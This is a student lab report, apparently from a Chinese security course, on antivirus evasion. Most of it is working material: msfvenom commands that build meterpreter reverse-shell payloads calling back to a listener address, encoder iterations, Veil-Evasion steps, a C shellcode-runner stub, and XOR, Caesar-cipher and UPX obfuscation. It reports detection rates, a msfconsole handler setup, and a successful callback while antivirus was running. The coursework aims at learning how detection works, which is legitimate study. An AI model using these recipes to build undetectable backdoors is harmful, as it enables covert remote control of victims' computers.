20222427 2024-2025-1 《网络与系统攻防技术》实验三实验报告

1.实践内容

1.1 本周知识总结

  • 深入学习关于缓冲区溢出的基础知识。

  • 学习了关于后门的一些基础知识。

1.2 回答问题

(1)杀软是如何检测出恶意代码的?

  • 病毒特征码检测

  • 加密文件分析

  • 基于行为检测的主动防御

  • 病毒云查杀

(2)免杀是做什么?

免杀,即Anti-AntiVirus(简写Virus AV),也就是反病毒技术。对恶意软件做处理使其不被杀毒软件所检测,是一种能使病毒木马避免被杀毒软件查杀的技术。

(3)免杀的基本方法有哪些?

  • 加密和混淆: 恶意代码作者会对其代码进行加密或混淆,使其难以被静态分析或特征匹配检测到。

  • 多次性变异: 恶意代码会采用多次性变异的方式生成不同的变种,以避免被杀软检测到。这可能包括修改代码的结构、添加无害的指令、改变代码的执行顺序等。

  • 反沙箱技术: 恶意代码会检测是否运行在沙箱环境中,并采取不同的行为以规避沙箱分析。

  • 针对杀软的特定漏洞: 恶意代码作者可能会利用杀软的漏洞来规避其检测,例如利用杀软的缺陷使其无法正确识别恶意代码。

  • 动态加载: 恶意代码可能会动态加载其恶意功能,使得静态分析难以发现其恶意行为。

  • 利用合法软件: 恶意代码作者可能会利用合法软件的漏洞或功能来执行其恶意行为,以规避杀软的检测。

1.3 实验要求

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

  • veil,加壳工具

  • 使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.实验过程

2.1 msf编码器
(1)msfvenom介绍

Metasploit独立有效载荷生成器,也是msfpayload和msfencode的替代品。利用msfvenom生成木马程序,并在目标机上执行、在本地监听。

(2)产生不同编码次数的文件

这里我使用x86/shikata_ga_nai作为编码器,设置不同的编码次数进行多次迭代(即生成最终有效负载之前必须执行多少次编码传递,这样做可以隐身或防病毒规避),通过检出率观察免杀效果是否有变化。

编码0、1、10、60次
msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.125.130 LPORT=2427 -f exe > en0.exe #无编码
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 -b '\x00' LHOST=192.168.125.130 LPORT=2427 -f exe > en1.exe #编码1次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.125.130 LPORT=2427 -f exe > en10.exe #编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 60 -b '\x00' LHOST=192.168.125.130 LPORT=2427 -f exe > en60.exe #编码60次


(3)不同输出文件

jar文件、php文件、python文件、apk文件
msfvenom -p java/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.125.130 LPORT=2427 x> ja20222427.jar #jar文件
msfvenom -p php/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.125.130 LPORT=2427 x> ph20222427.php #php文件
msfvenom -p python/meterpreter/reverse_tcp -b '\x00' LHOST=192.168.125.130 LPORT=2427 x> py20222427.py #python文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.125.130 LPORT=2427 x> ap20222427.apk #apk文件(这里不使用“-b '\x00'”,因为没有指定编码器,使用的话会报错)


(4)免杀效果测试

将使用msfvenom生成的文件上传到VirusTotal 和Virscan 进行测试,查看免杀效果,检出率总结与部分检测截图如下。(使用VirusTotal的截图)

根据下表可知,多次编码的免杀效果微乎其微,而不同的payload对免杀效果的影响较大,meterpreter运行在python和php上免杀效果是相对最好的。




文件名 payload 编码器 编码次数 输出格式 VirusTotal Virscan
en0.exe windows/meterpreter/reverse_tcp 0 exe 61/73 28/48
en1.exe windows/meterpreter/reverse_tcp x86/shikata_ga_nai 1 exe 62/73 29/48
en10.exe windows/meterpreter/reverse_tcp x86/shikata_ga_nai 10 exe 61/73 26/48
en60.exe windows/meterpreter/reverse_tcp x86/shikata_ga_nai 60 exe 61/73 25/48
ja20222427.jar java/meterpreter/reverse_tcp 0 jar 34/63 8/22
ph20222427.php php/meterpreter/reverse_tcp 0 php 26/63 7/48
py20222427.py python/meterpreter/reverse_tcp 0 py 18/64 6/48
ap20222427.apk android/meterpreter/reverse_tcp 0 apk 61/73 10/48

2.2 Veil-Evasion

1.使用方法

vile #进入veil工具
use evasion #进入evasion模块
use c/meterpreter/rev_tcp.py #选择payload # 这里也可以先用“list”查看所有可选择的payload,然后直接使用“use payload序号”来选择payload
set LHOST 192.168.125.130 #设置IP
set LPORT 2427 #设置端口
options #查看配置内容
generate #执行payload
20222427xwtveil1 #输入生成文件的名称

  1. 实验过程

在本次实验中,我使用Veil-Evasion选择了不同的payload分别生成2个文件。

20222427xwtveil1.exe使用c/meterpreter/rev_tcp.py作为payload;
20222427xwtveil2.exe使用python/meterpreter/rev_tcp.py作为payload。

20222427xwtveil1.exe生成过程:




20222427xwtveil2.exe生成过程:




过程中需要对的库进行选择,这里我选择的是Py2Exe:

如果使用Pyinstaller,payload会转成能够直接使用的可执行程序;(但是我一直无法成功)
如果使用Py2Exe,把payload.py和两个相关的文件放到windows系统上,执行批处理脚本将payload转换成可执行程序。

免杀效果测试:

根据下表总结的检出率、结合2.1中4个exe文件的免杀效果可知,面对如今不断发展进化的杀毒软件,Veil-Evasion的免杀效果比msfvenom有所提升。


文件名 攻击载荷payload VirusTotal Virscan
20222427xwtveil1.exe c/meterpreter/rev_tcp.py 45/73 18/48
20222427xwtveil2.exe python/meterpreter/rev_tcp.py 12/63 3/48

2.3 C+shellcode编程+w64-mingw32

  1. 实现过程

这里我首先使用msfvenom生成一个Shellcode数组,再使用该数组编写程序。根据实验指导书,选择了不同的payload和编码器分别生成2个程序。

该方法具体实现过程如下:

(1)生成Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.125.130 LPORT=2427 -f c #生成一个c语言格式的Shellcode数组

msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.125.130 LPORT=2427 -f c #使用不同编码器
(2)编写程序
vim 2427.c #进入编辑器编写程序
程序内容如下:
unsigned char buf[] = 之前获得的shellcode;
int main()
{
int (func)() = (int()())buf;
func();
}

(3)编译
i686-w64-mingw32-g++ 20192415cshell.c -o #编译器在64位系统上构建32位应用程序

2427.exe基于2427.c,payload为windows/meterpreter/reverse_tcp且不进行编码:



2427X.exe基于2427X.c,payload为windows/meterpreter/reverse_https且由x86/bloxor编码一次:



免杀效果测试:

相较于msfvenom和Veil-Evasion,“C+shellcode编程+w64-mingw32”的免杀效果应该会更好一些,但是这次试验却没有体现出来。


文件名 攻击载荷payload 编码器 编码次数 输出格式 VirusTotal Virscan
2427.exe windows/meterpreter/reverse_tcp 0 exe 45/73 14/48
2427X.exe windows/meterpreter/reverse_https x86/bloxor 1 exe 31/73 10/48

2.4 组合应用各种技术实现恶意代码免杀

2.4.1 C+shellcode编程 + 异或 + 加密壳 + 压缩壳

(1)C+shellcode编程

使用 msfvenom -p windows/meterpreter/reverse_tcp -b '\x00' -e x86/shikata_ga_nai LHOST=192.168.125.130 LPORT=2427 -f raw | msfvenom -a x86 --platform windows -b '\x00' -e x86/bloxor -f c 得到一个shellcode

(2)异或

首先将(1)中生成的Shellcode进行异或,将异或后的数组作为新的Shellcode。
编写程序时在main函数中再次进行异或,这样两次异或后又回到了原来的Shellcode,但生成的exe却会有多不同,最后进行编译得到2427XOR.exe。异或相关代码如下:
​for (int i = 0; i < sizeof(buf); i++) {
buf[i] ^= 0x01;
}

(3)加密壳

(4)压缩壳

upx 2427_1.exe -o 2427_2.exe #加密后再压缩
upx 2427XOR.exe -o 2427press.exe #仅压缩


(5)免杀效果测试

由下表可知,加密壳反而会使检出率提高免杀效果下降,压缩壳的能稍提高免杀效果。不加任何壳反而免杀效果不错。

文件名 加密 压缩 VirusTotal Virscan
2427XOR.exe 12/72 3/51
2427_1.exe 47/69 13/51
2427_2.exe 29/72 10/51
2427press.exe 33/72 3/48

2.4.2 C+shellcode编程 + 凯撒加密

(1)C+shellcode编程

使用msfvenom -p windows/x64/meterpreter/reverse_https -e x86/bloxor LHOST=192.168.125.130 LPORT=2427 -f c获得shellcode

使用Vscode,新建20222427jiami.c文件,输入代码,代码功能为将复制内容放入buf[]数组中,通过代码将shellcode1进行凯撒加密,将密文输入到2427jiami.txt文件中;

在同文件夹下新建空文件2427jiami.txt,用以存放密文

代码如图所示:

编辑并运行该c文件,得到相应的2427jiami.txt文件,新建一个2427jiemi.c文件,输入代码,代码功能为读取2427jiami.txt文件中的内容到shellcode1[]数组中,并进行解密,再运行shellcode。

代码如图所示:


编译该文件,打开文件所在位置,可以看到如下文件:

2427jiemi.exe为我们所需要的文件。

与查杀软件共存:

2.5 用电脑实测,在杀软开启的情况下,可运行并回连成功

在kali中使用msfconsole指令进入msf控制台,对msf控制台进行配置;

依次输入以下命令:

msfconsole #进入msf控制台
use exploit/multi/handler 使用监听模块,设置payload
set payload windows/x64/meterpreter/reverse_tcp 使用和生成后门程序时相同的payload
set LHOST 192.168.125.130 和生成后门程序时指定的IP相同
set LPORT 2427
exploit #开始监听

在Windows里运行2427jiemi.exe,返回kali,发现已经监听成功。

说明我们回连成功。

3.问题及解决方案

  • 问题1:安装veil时一直报错,提示找不到相应的文件(如图所示)。

  • 问题1解决方案:经过和同学交流,得知如果在安装veil时不能顺便下载Ruby包,只能自己手工下载相应的压缩包,再用相应的传输工具将包从Windows传到kali中。

  • 问题2:在生成第二个veil文件时,使用Pyinstaller一直不成功。

  • 问题2解决方案:经过网上查资料,但一直无法解决该问题,只得选择第2个方法Py2Exe,发现使用第二个方法并没有遇到任何问题。

  • 问题3:最开始生成shellcode时使用的是msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.125.130 LPORT=2427 -f c,发现最后生成的恶意可执行文件打开后几秒便消失了,无法运行到底。

  • 问题3解决方案:更换版本,使用msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.125.130 LPORT=2427 -f c,最后成功运行。

4.学习感悟

  • 安装veil工具十分的麻烦,感觉我花了几个小时去安装、重装veil,每次遇到的问题都千奇百怪,比如:镜像出错连接不到GitHub官网,找不到相应的安装包等问题。最后经过询问同学才得以解决一系列问题。

  • 在运行恶意代码时,火绒遇到所有有漏洞的文件都会立刻查杀,导致我的许多可执行文件执行不到几秒就消失了,可以看出电脑杀毒软件的强大,也感叹于这些杀毒软件对于电脑的保护作用。

  • 做实验需要的就是保持冷静,遇到问题不能慌乱。在这次实验中,安装veil以及最后的监听过程都花费了我十分多的时间,但只有坚持才能解决问题,完成相应的实验。

参考资料

posted @ 2024-10-22 17:05  20222427夏文韬  阅读(21)  评论(0编辑  收藏  举报